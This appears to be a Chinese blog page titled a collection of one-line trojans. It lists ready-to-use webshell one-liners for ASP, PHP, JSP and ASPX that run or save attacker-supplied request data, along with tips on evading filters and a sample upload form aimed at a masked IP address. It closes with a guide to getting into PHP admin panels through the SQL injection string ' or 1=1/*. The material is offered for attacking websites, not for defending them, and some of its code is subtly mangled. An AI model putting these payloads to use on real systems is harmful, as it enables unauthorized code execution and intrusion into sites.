且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

一句话木马集合

更新时间:2022-09-17 07:48:09

asp一句话木马
程序代码
< %eval request("a")%>
程序代码
< %execute request("a")%>
程序代码
< %execute(request("a"))%>
程序代码
< %execute request("a")%><%'<% loop <%:%>
程序代码
< %'<% loop <%:%><%execute request("a")%>
程序代码
< %execute request("a")'<% loop <%:%>[code]
[code]<script language=vbs runat=server>eval_r(request("a"))</script>
程序代码
%><%eval_r(Request(chr(35)))%><%
程序代码
< %eval request("a")%>
程序代码
< %ExecuteGlobal request("a")%>
程序代码
if Request("a")<>"" then ExecuteGlobal request("a") end if
//容错代码

程序代码
< " CODEPAGE="65001"%>
< %
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一

声老大'};
lcx.性别((lcx.名字)+'');
%>
//使用冰狐一句话客户端链接
程序代码
< %
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '参数SubCode作为过程代码
o.run "e",Server,Response,Request,Application,Session,Error '参数名e 调用之,同时压入6

个基对象作为参数
%>

调用示例:

程序代码
http://localhost/tmp.asp?SubCode=sub e(Server,Response,Request,Application,Session,Error) eval_r(request("v")) end sub&v=response.write(server.mappath("tmp.asp"))
php一句话
程序代码
< ?php eval_r($_POST[a])?>
程序代码
< ?php @eval_r($_POST[a])?>
//容错代码

程序代码
< ?php assert($_POST[a]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句

程序代码
< ?$_POST['sa']($_POST['a']);?>
程序代码
< ?$_POST['sa']($_POST['a'],$_POST['sc'])?>
程序代码
< ?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

程序代码
<O>h=@eval_r($_POST[c]);</O>

程序代码
<script language="php">@eval_r($_POST[a])</script>
//绕过<?限制的一句话

JSP一句话
程序代码
< %
if(request.getParameter("f")!=null)(new java.io.FileOutputStream

(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter

("t").getBytes());
%>
提交客户端
程序代码
<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
< textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
< input type=submit value="提交">
< /form>

ASPX一句话

程序代码
< %@ Page Language="Jscript"%><%eval_r(Request.Item["pass"],"unsafe");%>

程序代码

<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval_r(Request.Item["w"],"unsafe"));%>
//Jscript的asp.net一句话
程序代码
< %if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
//C#的asp.net一句话
程序代码
< % If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request ("f")) ) %>
VB的asp.net一句话

第一:114la网址导航系统后台getwebshell,最新版本,已经禁止了直接输入<?php这样的代码
所以可以试用<script language="php">...<script>来绕过

第二,使用菜刀的附加数据功能可以出现很多转换.所以还是仔细阅读下菜刀的readme.txt,上面的代

码来自LCX的博客

第三,使用mssql备份一句话的时候,特别是asp.net和jsp,因为代码过长,所以,需要再代码前面和后

面多加空格等垃圾字符保证代码完整性,这个跟备份bat到启动项一个原理.

 


如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上百分之百。可是有的人说对PHP的站如果是GPC魔术转换开启,就会对特殊符号转义,就彻底杜绝了PHP注入。其实说这话的人没有好好想过,更没有尝试过用万能密码进PHP的后台。其实GPC魔术转换是否开启对用万能密码进后台一点影响也没有。

  如果你用这样的万能密码‘or’='or’,当然进不去,理由是GPC开启的时候单引号会被转换。

  PHP注入时我常用的万能密码是:‘or 1=1后面的东西被注释掉了),name=’’的逻辑值为假,而后面的1=1逻辑值则为真,对于整体就成了假 or 真,最终的逻辑值还是真,就进后台了。


  那么如果GPC转换开启了,就对单引号进行了转换。语句就变成了where name=’'or 1=1,再看一下和刚才有什么区别,无非是多了个。name=’‘与name=’’的逻辑值一样,都为假,那1=1为真,总的sql语句的逻辑值不还是真吗?那有进不去后台的理由吗?

  所以总的来说,php网站的万能密码可以这样写:‘or 1=1/*,而GPC转换是否开启对它没有任何影响!

  所以请改变你的想法:存在字符型注入的php网站是可以用万能密码’or 1=1/*的